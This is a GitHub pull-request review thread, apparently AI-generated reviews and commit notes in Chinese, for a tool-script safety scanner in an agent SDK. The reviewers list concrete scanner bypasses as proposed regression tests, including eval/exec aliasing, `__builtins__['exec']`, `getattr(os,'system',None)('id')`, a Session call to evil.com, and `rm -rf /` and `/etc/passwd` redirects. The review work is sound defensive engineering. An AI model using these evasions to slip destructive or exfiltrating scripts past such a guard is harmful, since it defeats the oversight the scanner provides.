  • trpc_agent_sdk/tools/safety/_bash_scanner.py:617t in (">", ">>", ">" + ">")">" + ">" 等价于 ">>",属冗余表达式;由于 shlex 已把 >> 拆成两个 > token,该分支实际只命中单 >。可简化为 t == ">" 并补注释说明拆分行为,避免误读。

总结

整体为新增的 Tool Script Safety Guard 模块,三层扫描(AST/shlex/regex)+ 策略驱动的设计合理,多数已知绕过(userinfo@host、echo 字符串、$() 命令替换、/dev/null 误报等)都已修复。未发现必须修复的 Critical 问题;存在几处 Warning 级别的兼容性/稳定性隐患(blocklist 字面量误杀、审计日志全量读取、sleep 单位解析不一致、filter 报告传递方式),建议合并前处理。

测试建议

  • 补充 blocklist_commands 误报用例:注释中包含 rm -rf /command_args 中以参数形式出现 rm -rf / 字面量,验证是否被错误 DENY。
  • 补充 AuditLogger.read_events 大文件场景:写入大量事件后调用 read_events(limit=10),验证内存占用与返回最近 N 条的正确性。

  - blocklist_commands now line-by-line with echo/comment stripping
  - ResourceAbuseRule sleep regex parses s/m/h/d units
  - Redundant '>' + '>' simplified, duplicate reports removed
  - ~3200 new test lines covering scanner, rules, bash, wrapper, filter
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

发现的问题

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_audit.py:88-95:审计日志写入仅线程安全、非进程安全,多进程部署下 JSONL 行可能交错损坏

    • AuditLogger.log_eventthreading.Lock 串行化写入,但 threading.Lock 不跨进程;注释中也承认了这一点。在多 worker/多进程 Agent 部署场景下,并发 open(..., "a") 追加可能导致审计行交错,破坏 SIEM 摄取与审计可追溯性(对安全审计日志属较严重问题)。建议改用 fcntl.flock 文件锁、或单进程审计 daemon、或按 scan_id 原子写临时文件后 rename 合并。
      lock = _get_file_lock(str(self._output_path))
      with lock:
          with open(self._output_path, "a", encoding="utf-8") as fh:
              fh.write(line + "\n")
  • trpc_agent_sdk/tools/safety/_audit.py:107-127read_events 将整个 JSONL 文件全量读入内存且无大小上限

    • read_events 一次性 for line in fh 收集全部事件后再 [-limit:][::-1] 截取,审计文件长期增长后会占用大量内存甚至 OOM。建议改为从文件尾部反向读取最近 N 行,或对文件大小做阈值保护。
  • trpc_agent_sdk/tools/safety/_audit.py:37-46_FILE_LOCKS 字典随审计路径无界增长

    • 每个不同的 output_path 都会在 _FILE_LOCKS 中永久缓存一个 threading.Lock,若路径含动态段(如按时间/scan_id 拼接)会造成内存泄漏。建议限制缓存规模或使用 weakref/LRU。
  • trpc_agent_sdk/tools/safety/_scanner.py:115-122:超大脚本仅做 blocklist_patterns 预检,对 blocklist_commands/blocklist_paths 不预检

    • 超过 max_script_lines/max_script_bytes 时提前返回 DENY(fail-safe 方向正确),但预检只跑正则 blocklist_patterns;若攻击者用注释/填充把脚本撑过阈值,blocklist_commandsblocklist_paths 及 AST/Bash 扫描均被跳过。当前因 DENY 兜底不会被放行,但报告里只能给出 "oversized" 而非真实风险证据,影响审计判定。建议对 blocklist_commands 也做轻量预检或对超大脚本仍跑 token 级扫描。

💡 Suggestion

  • tests/test_100*.pytests/test_cov_*.pytests/test_final_*.pytests/test_hundo.pytests/test_to_100.py 等 17 个覆盖率专项文件彼此高度重复,均围绕同一批 safety 扫描路径做断言。合并为 1-2 个按模块组织的测试文件即可保留有效覆盖,去掉长期维护负担与 CI 噪音。

总结

新增的 Tool Script Safety Guard 模块整体设计稳健、三层扫描(AST/shlex/regex)与白名单/黑名单/allow-pattern 决策逻辑正确,测试覆盖真实风险路径。主要遗留风险集中在审计日志的进程级并发安全与内存边界,建议在上线多进程部署前修复 _audit.py 的进程安全与 read_events 内存问题。

测试建议

  • 补充多进程并发写同一 audit_log_path 的测试,断言每行均为合法 JSON 且无交错。
  • 补充超大审计文件的 read_events(limit=...) 行为测试(构造远大于 limit 的文件,验证内存与返回数量)。

…d pre-check

  - AuditLogger.log_event: fcntl.flock + os.fsync for cross-process safety
  - AuditLogger.read_events: tail-read with byte limit instead of full load
  - _FILE_LOCKS: LRU-capped at 128 entries, os.path.realpath normalisation
  - _scanner: oversized pre-check also scans blocklist_commands
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

现在我已经掌握了所需的所有信息。接下来,我将整理最终的审查报告,重点关注那些真正具有高价值且可验证的问题,并根据各层级之间的防御纵深对其进行适当评级。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_python_scanner.py:568,610,706712-731:网络调用经变量绑定后完全绕过 AST 检测

    • _class_instances_handle_assign/_handle_ann_assign/_handle_with 中被写入(如 s = requests.Session()with httpx.Client() as c),但 _resolve_canonical 从不读取它,导致 s.get("http://evil.com") 解析为 "s.get",不在 _NETWORK_CALLS 中。由于 s.get 这类调用既不含 requests. 也无法被正则层匹配,URL 与域名白名单判定同时失效,恶意域名可能被放行。修复:在 _resolve_canonical 处理 ast.Name 时查 _class_instances,将存储的规范类名拼接到属性前。
    ...
    if isinstance(node, ast.Name):
        return self._aliases.get(node.id, node.id)   # 从未查 _class_instances
    ...
  • trpc_agent_sdk/tools/safety/_python_scanner.py:557-606:危险可调用赋值给变量后丢失跟踪

    • e = eval; e("...")s = os.system; s("id")m = __import__("os"); m.system("id") 均不被检测:_handle_assign 仅跟踪网络/污点来源,不对 bare-name 或动态导入结果做别名传播,e/s/m 解析为普通名而不命中任何危险集合。内联链式形式(__import__("os").system())能被 _check_dynamic_call 捕获,拆成两语句即绕过。修复:当 node.valueast.Name 且其 canonical 名在危险集合中,或为 __import__/importlib.import_module 调用时,向 _aliases 传播。

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_scanner.py:199-200:规则异常被静默吞掉且不升级决策(fail-open)

    • 单条规则抛异常(如病态输入导致正则回溯)时仅 logger.error 后跳过,最终决策由幸存的 findings 决定;若被跳过的正是产生 CRITICAL/HIGH 的规则,脚本会默认走向 ALLOW。blocklist 虽独立生效,但非 blocklist 类的危险操作(os.systemsubprocess 等依赖 ProcessAndSystemRule)会丢失。建议规则异常时追加一条 MEDIUM+ 哨兵 finding 或强制升级到 NEEDS_HUMAN_REVIEW
    ...
    except Exception:  # pylint: disable=broad-except
        logger.error("Safety rule raised an exception; skipping: %s", ...)
    ...
  • trpc_agent_sdk/tools/safety/_scanner.py:524,743:AST/Bash 扫描器异常时静默回退到较弱正则层

    • _scan_python_ast_scan_bash_tokensexcept Exception 兜底返回崩溃前已收集的 findings(常为空),随后仅靠文档自述"更弱"的正则层覆盖,混淆代码(如 getattr(__import__("os"),"system")("id"))一旦触发 AST 异常即可能漏检。建议扫描器异常时强制 NEEDS_HUMAN_REVIEW 或下发哨兵 finding。
  • trpc_agent_sdk/tools/safety/_scanner.py:271-277allow_patterns 可在自定义策略下覆盖 HIGH 风险

    • 升级条件仅检查 has_critical;默认策略 high→deny 使该路径不可达,但 decision_thresholds 可配置,若部署方设 high→needs_human_review,则任意匹配的 allow_pattern 会把 HIGH 风险(如网络外发)直接转为 ALLOW。建议同时限制 max_risk <= MEDIUM 才允许升级。
  • trpc_agent_sdk/tools/safety/_rules.py:200-205,210-216:f-string 表达式内容被整段擦除造成正则层盲区

    • _strip_python_comment_line 把字符串(含 f-string)内所有字符替换为空格,{os.system('rm -rf /')} 的可执行表达式也被抹掉,正则规则无法匹配。AST 层仍能捕获普通调用,但仅出现在 f-string 字面量片段中的敏感模式(如硬编码密钥)会漏检。建议在 f-string 中保留 {...} 表达式区域,仅擦除字面文本。
  • trpc_agent_sdk/tools/safety/_rules.py:272913-923:黑名单/敏感路径匹配未做路径归一化与边界锚定

    • blocklist path 用 re.escape(blocked).replace(r"\*",".*") 做无锚定子串匹配,/root/./.ssh/root//.ssh~/.ssh(未展开 ~)可绕过 /root/.ssh;非点号路径(如 passwd)未加边界,会匹配 passwdx。bash/AST 层的 _is_sensitive_pathre.search 可部分兜底,但正则规则层存在真实盲区。建议对候选路径做 normpath/~ 展开并对所有路径统一加边界锚定。
  • trpc_agent_sdk/tools/safety/_bash_scanner.py:281,302-369:命令包装器与命令替换绕过 shlex 层

    • _PREFIX_CMDS 不含 env/nohup/timeout/nice/xargs_dispatch_commands 不在 $(、反引号上切分,导致 env rm -rf /$(rm -rf /)`rm -rf /`find -exec rm -rf {} \;rm 不作为命令头被分析。rm -rf 仍被正则 blocklist 兜底捕获,但 shlex 层(文档宣传的主力检测)对这些常见变形完全失效。建议把常用命令包装器纳入前缀跳过集,并对 $()/反引号内部递归分析。
  • trpc_agent_sdk/tools/safety/_bash_scanner.py:459-489>> 追加重定向到敏感路径漏检

    • _check_redirects 仅处理 > 单 token;shlex 将 >> 归并为一个 token,>> /etc/passwdt.split(">",1) 得到空 target 而不产生 finding,2>>/etc/passwd 同理。正则 blocklist path 可部分兜底,但定向写敏感文件的专用检测失效。建议显式处理 >>&><>
  • trpc_agent_sdk/tools/safety/_rules.py:899-910_all_commands_whitelisted 仅按 | 切分

    • ls | grep && rm -rf /| 切分得到 lsgrep && rm -rf /,后者首词 grep 被判定为白名单命令,整行被降级为 INFO,&& 后的 rm -rf 不被该函数检查。rm -rf 仍由 blocklist 兜底,但非 blocklist 的后续命令会漏判。建议按全部 shell 分隔符切分并逐词校验。
  • trpc_agent_sdk/tools/safety/_scanner.py:323-32577reload_policy 不刷新已缓存的规则

    • __init__self._rules = get_all_rules() 只捕获一次,reload_policy() 仅替换 self._policy,若注册了依赖策略内容的自定义规则,热重载后规则仍过期。建议在 reload_policy 中同步刷新 self._rules

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_policy.py:228-235get_policy 全局缓存忽略后续传入的 policy_path,首次加载后任何带不同路径的调用都返回旧策略;若需支持多策略并存应改为按路径缓存,否则应在文档中明确"仅首次路径生效"。

总结

该 PR 引入了一个结构清晰、三层(AST/shlex/正则)纵深防御的工具安全扫描模块,整体设计扎实,多数危险操作有多层兜底。但 AST 层存在变量绑定/别名传播的真实绕过(Critical),且扫描器与规则的异常处理为 fail-open、allow_patterns 在自定义策略下可覆盖 HIGH 风险,建议在合入前修复 Critical 项并评估 fail-open 策略。

测试建议

  • 补充针对 AST 绕过的回归用例:s = requests.Session(); s.get("http://evil.com")e = eval; e("1")m = __import__("os"); m.system("id"),断言被 DENY/NEEDS_HUMAN_REVIEW。
  • 补充扫描器/规则异常注入用例(mock 规则抛异常),断言决策升级为 NEEDS_HUMAN_REVIEW 而非 ALLOW;以及自定义 decision_thresholds: high→needs_human_reviewallow_patterns 不覆盖 HIGH 风险的用例。

# Taint tracking: assignments and sinks
# ------------------------------------------------------------------

def _handle_assign(self, node: ast.Assign) -> None:

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

危险可调用赋值给变量后丢失跟踪

e = eval; e("...")s = os.system; s("id")m = __import__("os"); m.system("id") 均不被检测:_handle_assign 仅跟踪网络/污点来源,不对 bare-name 或动态导入结果做别名传播,拆成两语句即绕过内联链式检测。修复:当 node.valueast.Name 且 canonical 名在危险集合,或为 __import__/importlib.import_module 调用时,向 _aliases 传播。

  - _python_scanner: _resolve_canonical now checks _class_instances for
    Session().get() bypass (s=requests.Session(); s.get(url) now detected)
  - _python_scanner: _handle_assign propagates dangerous callable names
    (e=eval; e('x'), m=__import__('os'); m.system('id') now caught)
  - _scanner: rule exceptions now emit GLOBAL-003 sentinel finding instead
    of silent fail-open
  - _scanner: allow_patterns refuses upgrade when HIGH/CRITICAL findings exist
  - _scanner: reload_policy() also refreshes _rules
  - _bash_scanner: _PREFIX_CMDS extended with env/nohup/timeout/nice/xargs
  - _rules: _all_commands_whitelisted splits on ;/&&/||/& in addition to |
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

现在我已经完全掌握了情况。我来写一下审查意见。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_python_scanner.py:478compile / getattr 被无条件判为高危动态执行,导致合法脚本被误杀为 DENY
    • compilegetattr 都在 _DYNAMIC_EXEC_CALLS 集合中,_handle_call 对任何 compile(...) / getattr(...) 调用都会产出 eval_exec finding,经 scanner 转为 AST-PROC-003(HIGH)→ 默认 policy 直接 DENY。这意味着任何使用 re.compile(...)regex.compile(...)getattr(obj, "attr", default) 的合法 Python 工具脚本都会被拒绝执行。_rules.py:502 已专门排除了 re.compile,但 AST 层没有对应豁免,两层结论冲突。建议在 _handle_call 中豁免 re.compile/regex.compile,并对 getattr 仅在参数非常量/属动态解析时才告警,而非一概 HIGH。
    # --- Eval / exec / dynamic execution ---
    if canonical in _DYNAMIC_EXEC_CALLS:
        self._findings.append(... kind="eval_exec" ...)  # re.compile 也会命中

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_safety_filter.py:131_extract_script_content 返回 None 即放行):安全过滤器对未命中预置字段的请求 fail-open

    • _before 仅当 _extract_script_content(req) 返回非空时才扫描,否则直接 return 放行工具执行。脚本若放在未列举的字段名(如 query/prompt/input/自定义参数名)或更深层嵌套结构中即可完全绕过扫描。作为安全过滤器,建议默认 fail-closed(未知结构 → 至少 NEEDS_HUMAN_REVIEW),或扩充字段并允许通过 policy 配置被扫描字段名。
  • trpc_agent_sdk/tools/safety/_safety_wrapper.py:124-141guard 上下文管理器在 raise_on_deny=True(默认)下无法按文档用法使用

    • 文档示例 if g.last_report.decision != Decision.DENY: await do_execute(script) 假设进入 with 块后仍可自行判断;但 guard() 入口直接调用 self.check(...),在 DENY 且 raise_on_deny=True 时会抛 SafetyDeniedError,根本到不了 yield。建议 guard() 内部忽略 raise_on_deny(或在文档中明确该上下文管理器仅供 raise_on_deny=False 时使用),避免使用者误以为能在块内自行决策。
  • trpc_agent_sdk/tools/safety/_scanner.py:248-277:blocklist 命令逐行匹配对 BASH 未剥离字符串字面量,仍存在误判与漏判

    • 非 PYTHON 分支用原始 line(仅跳过 # 整行注释)做 re.search(re.escape(cmd), ...),对 rm -rf / 这类 blocklist command 只能命中单行整串;echo "rm -rf /"_is_in_echo_string 会被豁免,但 cmd="rm -rf --no-preserve-root" 这类带参 blocklist 条目无法匹配脚本里 rm -rf --no-preserve-root / 之外的形式,且跨行拼接(\ 续行)会漏判。建议同样使用 shlex token 解析或对 blocklist command 也做前缀跳过 + flag 归一化后再匹配。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_scanner.py:927-941_redact_evidencekey_formats 的替换串硬编码为 "sk-***REDACTED***" 等,未复用 self._policy.mask_string,与同函数中 JWT/PEM 使用 mask 的行为不一致,建议统一使用 mask 以便策略可配置。

总结

核心阻塞问题:AST 扫描器对 compile/getattr 的无条件高危判定会使大量正常 Python 脚本(含 re.compile)被误判为 DENY,且与 regex 规则层的豁免逻辑冲突,需修复。其余为安全过滤器 fail-open、wrapper 上下文管理器语义与文档不符等需关注的问题。

测试建议

  • 建议补充用例:扫描含 re.compile(r"...")getattr(obj, "x", None) 的合法 Python 脚本应得到 ALLOW 或至多 NEEDS_HUMAN_REVIEW,而非 DENY。
  • 建议补充用例:ToolSafetyFilter._before 在请求中脚本字段使用未列举的自定义键名时的行为(明确预期是 fail-open 还是 fail-closed)。

))

# --- Eval / exec / dynamic execution ---
if canonical in _DYNAMIC_EXEC_CALLS:

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

compile/getattr 被无条件判为高危动态执行

_handle_call 对任何 compile(...)/getattr(...) 命中 _DYNAMIC_EXEC_CALLS 即产出 eval_exec,转为 HIGH→默认 policy 直接 DENY。这会误杀 re.compile(...)regex.compile(...)getattr(obj,"attr",default) 等合法脚本,且与 _rules.pyre.compile 的豁免冲突。建议豁免 re.compile/regex.compile,并对 getattr 仅在非常量/动态解析参数时告警。

  - _python_scanner: exempt re.compile and regex.compile from dynamic
    execution detection (pattern compilation is safe)
  - _python_scanner: exempt getattr(obj, attr, default) with 3 args
  - _scanner: remove unused has_critical variable (F841)
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

我已经审查了 pr.diff 中的所有核心安全文件(_scanner.py_python_scanner.py_bash_scanner.py_rules.py_policy.py_audit.py_safety_filter.py_safety_wrapper.py_types.py_report.py_telemetry.py)、CLI 脚本、策略 YAML 文件以及测试文件。这些示例和 post_inline_comments.py 的更改纯粹是格式调整。以下是我的评估结果。

发现的问题

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_audit.py:86-90:文件锁 LRU 淘汰可能丢弃正在使用的锁,破坏互斥性

    • _get_file_lock 在达到 _MAX_FILE_LOCKS(128) 时用 _FILE_LOCKS.pop(next(iter(_FILE_LOCKS))) 淘汰最旧的 threading.Lock。若被淘汰的 path 随后再次写入,会通过 real not in _FILE_LOCKS 创建一个全新的 Lock 对象,此时该 path 上并发写入的两个线程持有不同锁对象,线程级互斥失效;在无 fcntl 的平台(Windows 分支)下完全失去并发保护,可能写出交错/截断的 JSONL 行。建议改为基于使用时间淘汰且淘汰前等待锁释放,或直接用 os.path.realpath 作 key 的 dict 不做淘汰(审计路径通常有限)。
    if len(_FILE_LOCKS) >= _MAX_FILE_LOCKS:
        _FILE_LOCKS.pop(next(iter(_FILE_LOCKS)))  # 可能在别处被 with lock 持有
    _FILE_LOCKS[real] = threading.Lock()
  • trpc_agent_sdk/tools/safety/_python_scanner.py:13855-13868_check_dynamic_callgetattr(...) 结果调用未应用三参数豁免,产生误报

    • 该方法对任意 getattr(x, "attr")() 形态无条件追加 eval_exec finding,而 13805-13816 行的 getattr(obj, attr, default) 豁免只在外层 node.func 直接是 getattr 调用时生效,对“先 getattr 再调用”的外层 ast.Call 不生效。结果是 getattr(cfg, "timeout", 30)() 这类安全属性访问会被判为动态执行(HIGH→DENY 默认)。安全工具中误报会导致正常脚本被阻断。建议在 _check_dynamic_callinner == "getattr" 分支也判断内层 func 是否带 ≥3 个参数后再决定是否记录。
  • trpc_agent_sdk/tools/safety/_scanner.py:248-277:blocklist 命令逐行匹配对 BASH 不剥离行内注释,存在边界不一致

    • 该处仅当 effective_script_type == PYTHON 才用 _strip_python_comment_line 去注释/字符串,BASH 分支用原始 line,导致 Bash 中 echo x; rm -rf / # cleanup 这类带行内注释的行仍按整行匹配(命中本身没问题),但与“注释/字符串剥离避免误报”的注释意图不一致;更关键的是 _is_in_echo_string 只抑制 echo/printf 行,对其他命令后的行内注释无保护。属于健壮性缺口而非直接绕过(destructive_patterns 的 rm\s+-rf 兜底仍会命中)。建议 BASH 分支也做等价的注释剥离以保持两层行为一致。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_bash_scanner.py:12598-12611_FILE_WRITE_COMMANDS_FILE_WRITE_COMMANDS = {"tee", "dd"} 定义后从未被分发逻辑使用(dd/tee 各自有专门 elif 分支),属死代码;删除该集合或合并到对应分支可减少维护歧义。

总结

整体安全扫描器实现层次清晰、防御纵深(AST+shlex+regex 三层)且测试覆盖较充分,未发现可导致命令注入或扫描绕过的 Critical 问题。存在 2 处值得修复的健壮性/误报缺陷(审计锁 LRU 淘汰破坏互斥、getattr 结果调用的误报)和 1 处 Bash 注释剥离不一致,建议合入前处理。

测试建议

  • 补充并发测试:多线程/多进程同时向同一 AuditLogger 路径写入,并在写入期间触发锁 LRU 淘汰(构造 >128 个不同 path 后再写回首个 path),验证 JSONL 行不交错。
  • 补充 getattr(obj, "attr", default)() 的 Python 扫描用例,确认不被判为 eval_exec/DENY。

  - _audit: remove LRU lock eviction (could orphan in-use locks on Windows)
  - _python_scanner: getattr(obj, attr, default) / getattr(...)() with 3+ args
    no longer falsely triggers dyn-exec (HIGH→DENY)
  - _python_scanner: re.compile / regex.compile exempted from dyn-exec detection
  - _python_scanner: _check_dynamic_call also applies 3-arg getattr exemption
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

确认。现在让我来验证一下 _extract_url 正则表达式 ReDoS 的问题——(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}——在“clean”输入下,这是线性且没有回溯的,可接受。

让我检查一下在 effective_script_type 为 BASH 时,是否存在 re.compile(pattern, re.IGNORECASE) 重新编译的循环问题。微小的性能问题。

我已经有足够的信息进行最终总结了。让我确认一下黑名单覆盖(blocklist override)调用顺序的问题——_check_blocklist_override 是在 decision != DENY 时调用的,但它本身可能会返回 DENY。没问题。

让我再验证一个关于 execution_blocked 与过滤器行为一致性的事情。扫描器将 execution_blocked = decision == DENY。过滤器仅在 block_on_deny 时阻塞。没问题。

让我写下审查报告。

发现的问题

🚨 Critical

(无)

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_python_scanner.py:487-489:544-546:3 参数 getattr 豁免可被用于规避动态执行检测

    • getattr(obj, attr, default) 带有 3 个参数时,_handle_call_check_dynamic_call 都会直接 pass,判定为安全。但 getattr(os, "system", None)("id") 这种“带默认值的 getattr + 立即调用”同样命中该豁免,导致通过 3 参数 getattr 间接获取并调用危险函数(如 os.system)的混淆写法完全不被标记为 eval_exec,可绕过安全扫描。建议:3 参数 getattr 仅豁免“属性读取”本身,但对其返回值被立即调用(getattr(...)())的情况仍应上报;可在 _check_dynamic_call 中对 3 参数 getattr 且外层被 Call 包裹时不豁免。
  • trpc_agent_sdk/tools/safety/_audit.py:42-49_FILE_LOCKS 缓存无上限,存在内存增长隐患

    • _get_file_lockos.path.realpath(path) 缓存 threading.Lock,永不淘汰。虽然注释称“审计路径有界”,但 AuditLogger(output_path)output_path 可由调用方/配置传入任意路径(如 ToolSafetyFilter(audit_log_path=...)、CLI --audit),若路径可被外部影响,长期运行会无界增长内存。建议加 LRU 上限或改用单把全局锁保护写入。
  • trpc_agent_sdk/tools/safety/_policy.py:236-243:模块级单例 _default_policy 无锁,并发首次加载存在竞态

    • get_policy 在多线程下可能重复加载 YAML 并覆盖单例,虽然结果一致但会造成不必要的 IO 与窗口期不一致;get_scanner_scanner.py)依赖 content_hash 失效缓存,若策略在并发 reload 中被替换,旧 scanner 可能短暂使用不一致策略。建议加锁或使用 threading.Lock 保护初始化。
  • trpc_agent_sdk/tools/safety/_scanner.py:299-310:907-918_sanitize_findings 直接修改传入的 SafetyFinding.evidence(dataclass 默认可变),且在 oversized 早返回路径(:147-184)跳过脱敏

    • 正常路径下 findings 是本次 scan 新建对象,直接改写问题不大;但 oversized 早返回分支返回的 oversized_findings 未经过 _sanitize_findings/_redact_evidence,若其 evidence 含敏感串(如 oversized 脚本里命中 blocklist 的明文 token)会原样进入 report/audit。建议对 oversized 路径同样执行脱敏,或至少截断 evidence。
  • trpc_agent_sdk/tools/safety/_scanner.py:291-296:allow_patterns 升级 ALLOW 后未同步 execution_blocked 之外的影响可接受,但 _check_allow_patterns 对整脚本做 re.search 未做注释/字符串剥离

    • allow_patterns 是全局正则匹配原始 script,不经过注释剥离,意味着脚本注释或字符串字面量里出现允许模式即可把整个 NEEDS_HUMAN_REVIEW 升级为 ALLOW。虽然已有“不含 HIGH/CRITICAL”的保护,但 MEDIUM 级风险仍可能被一句注释里的允许模式放行。建议 allow_patterns 同样在剥离注释后的文本上匹配,或限定匹配行。
  • trpc_agent_sdk/tools/safety/_safety_filter.py:198-199setattr(rsp, "safety_report", report) 向 dataclass FilterResult 动态注入属性

    • FilterResult@dataclass,动态属性虽然可写但不会出现在 __init__/序列化中,下游若依赖 asdict 或类型检查取不到 safety_report。建议在 rsp.rsp 上挂载或确认框架对动态属性的消费方式,避免静默丢失报告。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_bash_scanner.py:455-464_check_operatorsraw_line 重新分词而非使用已清理的 clean,可能对注释中的 |/& 产生误报;可复用 clean 以与命令分析保持一致。
  • trpc_agent_sdk/tools/safety/_scanner.py oversized 预检与 _check_blocklist_override/blocklist-command 逻辑存在三处近似重复(oversized 预检、_check_blocklist_override、scan 内联 blocklist-command 循环),可抽公共函数减少维护成本。

总结

整体实现为多层(AST/shlex/正则)安全扫描器,结构清晰、对框架 BaseFilter 的集成签名正确。未发现阻断性 Critical 问题。主要风险集中在:3 参数 getattr 豁免导致的动态执行检测绕过、审计锁缓存无界、策略单例无锁并发,以及 oversized/allow-pattern 路径的脱敏与剥离遗漏,建议合并修复后合入。

测试建议

  • 补充针对 getattr(os, "system", None)("id")getattr(__import__("os"), "system", None)() 等 3 参数 getattr + 调用的检测用例,确认其被标记为 eval_exec/DENY。
  • 补充 oversized 脚本内含明文 token(如 sk-...)的用例,验证 report/audit 中 evidence 已脱敏。

  - _python_scanner: 3-arg getattr only exempted when NOT immediately called.
    getattr(os,system,None)('id') now correctly flagged as dyn-exec.
    x=getattr(cfg,key,def) as plain expression still safe.
  - _policy: get_policy/reload_policy now use threading.Lock to prevent
    concurrent double-load and inconsistent scanner cache.
  - _python_scanner: remove W504 line break after binary operator.
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

两个辅助代理仍在生成中。我已经直接通过代码验证了我的核心发现,并从扫描器代理那里获得了确认。我已经有足够的内容来撰写一份稳健的审查报告。我现在进行最终定稿。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_python_scanner.py:778-780(及 :534-544):__builtins__["exec"](...) / globals()["__builtins__"]["eval"](...) 形式可绕过全部检测层。

    • _resolve_canonicalSubscript 仅返回容器名(__builtins__/globals),既不在 _DYNAMIC_EXEC_CALLS 中,_check_dynamic_call 也只处理 funcCall/Attribute 的情况,对 Subscript 形式的调用完全漏报;同时 regex 层 _strip_python_comment_line 会把字符串字面量内容替换为空格,使 "exec" 被清空,策略中的 \bexec\s*\( 也无法命中。这是真实的执行原语绕过。
    • 修复方向:在 _resolve_canonical/_check_dynamic_call 中将 __builtins__/globals/vars/locals 上的 Subscript 调用视为 dynamic-exec sink;并让 regex 层在剥离注释/字符串前先用 re.search 匹配 exec/eval 等敏感关键字。
      __builtins__["exec"]("import os; os.system('id')")
      globals()["__builtins__"]["eval"]("1+1")
  • trpc_agent_sdk/tools/safety/_python_scanner.py:486-489:3-arg getattr 豁免导致“先存入容器再调用”的混淆调用漏报。

    • getattr(os, "system", None) 的 default 仅在属性缺失时生效,属性存在时仍返回 os.system;当前对 len(args)>=3 的 getattr 一律 pass,于是 d = [getattr(os, "system", None)]; d[0]("id") 中 getattr 不报警、d[0]("id")funcSubscript 也不报警,整链漏报;且策略 python_functions 未含 getattr,regex 层亦不兜底。
    • 修复方向:不要按参数个数豁免 getattr;对第二参数为危险属性名常量(system/popen/exec 等)或非常量的 getattr 一律视为 dynamic-exec。
      d = [getattr(os, "system", None)]
      d[0]("id")

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_bash_scanner.py:321cmd_lower == "rm" 精确匹配使 /bin/rm -rf / 等绝对路径形式绕过 token 层。

    • 模块 docstring(_bash_scanner.py:17)声称“catches /bin/rm -rf”,但 _analyse_one_command 仅在 cmd_lower == "rm" 时进入 _check_rm/bin/rm/usr/bin/rm 均不匹配;regex 层 rm\s+-rf 虽能兜底命中,但 token 层该声明与实现不符,破坏了三层防御的预期。
    • 修复方向:比较前用 os.path.basenamecmd_lower.rsplit("/",1)[-1] 归一化。
  • trpc_agent_sdk/tools/safety/_safety_filter.py:255(及 :272:283):req.get("args", {}).get(k)args 为 list 时抛 AttributeError

    • 若工具请求里 args 是列表(常见调用形态),.get(k) 会抛异常并向上传播;框架层会捕获并 is_continue=False,表现为“合法请求被误拦”,属稳定性/兼容性问题而非安全放行。
    • 修复方向:先判断 isinstance(req.get("args"), dict).get(k),或用 getattr(..., "get", None)
  • trpc_agent_sdk/tools/safety/_scanner.py:539-540(及 :758-759):AST/shlex 扫描器异常时静默返回空列表,对该层 fail-open。

    • 规则异常有 GLOBAL-003 降级为 NEEDS_HUMAN_REVIEW(:199-211),但 _scan_python_ast/_scan_bash_tokensexcept Exceptionlogger.warning 后返回空,会静默丢掉上面 Critical 类的检测。建议与规则异常一致,至少追加一条 NEEDS_HUMAN_REVIEW finding。
  • trpc_agent_sdk/tools/safety/_bash_scanner.py:453-502_check_redirects 未正确处理 >>&>2> 等多字符重定向到敏感路径。

    • t == ">"t.split(">",1) 处理,>> /etc/shadow&> /etc/passwd2> /etc/shadow 得到的 target 为空或操作符本身,不会判定为敏感路径;建议先归一化操作符(lstrip("0123456789&") 后去 >)再取目标 token。
  • trpc_agent_sdk/tools/safety/_python_scanner.py:659-693_check_output_taint 仅检查 node.args[0]print("x", api_key)logging.info("s=%s", token)print(extra=secret) 的密钥外泄漏报;建议遍历所有位置参数与关键字参数及各 f-string 分量。

💡 Suggestion

总结

该 PR 新增的工具安全框架整体结构清晰、CLI 退出码与 fail-closed 框架接入正确;但存在 2 个 Critical 级别的检测绕过(__builtins__ 下标记 exec/eval、3-arg getattr 先存后调),均经代码与策略交叉验证可同时绕过 AST 层与 regex 层,需修复后再合入。其余为 token 层路径归一化、重定向操作符、taint 覆盖与稳定性相关的 Warning。

测试建议

  • 补充针对绕过的回归用例:__builtins__["exec"](...)globals()["__builtins__"]["eval"](...)d=[getattr(os,"system",None)]; d[0]("id")/bin/rm -rf /,断言 decision == DENY
  • 补充 _safety_filterargs 为 list 时不抛异常且能正常给出 safety_report 的用例。

inner = self._resolve_canonical(node.func)
return inner

if isinstance(node, ast.Subscript):

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

builtins[...] exec/eval 绕过全部检测层

__builtins__["exec"](...) / globals()["__builtins__"]["eval"](...) 形式可绕过 AST 与 regex 双层检测:_resolve_canonicalSubscript 仅返回容器名,_check_dynamic_call 不处理 Subscript 调用,regex 层剥离字符串字面量还会清空 "exec"。应将 __builtins__/globals/vars/locals 上的 Subscript 调用视为 dynamic-exec sink,并在剥离注释/字符串前先匹配敏感关键字。

receiver = self._resolve_canonical(node.func.value) if isinstance(node.func, ast.Attribute) else ""
if canonical == "compile" and receiver in ("re", "regex"):
pass # re.compile(pattern) — safe, pattern compilation only
